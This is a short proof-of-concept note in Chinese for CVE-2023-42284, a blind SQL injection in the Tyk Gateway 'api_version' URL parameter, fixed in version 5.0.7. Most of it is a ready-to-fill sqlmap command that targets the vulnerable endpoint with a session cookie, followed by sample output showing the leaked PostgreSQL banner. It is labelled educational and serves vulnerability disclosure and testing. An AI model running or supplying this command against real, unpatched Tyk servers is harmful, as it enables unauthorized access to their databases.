仅供教育目的!
CVE-2023-42284的概念验证。 Tyk Gateway 存在 SQL 注入漏洞。 已在 5.0.7 版本中修复。
URL 参数 'api_version'(位于 "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=...")存在盲 SQL 注入漏洞。
使用 sqlmap 并指定以下参数:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner
SQL 数据库的 Banner 在响应中返回:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...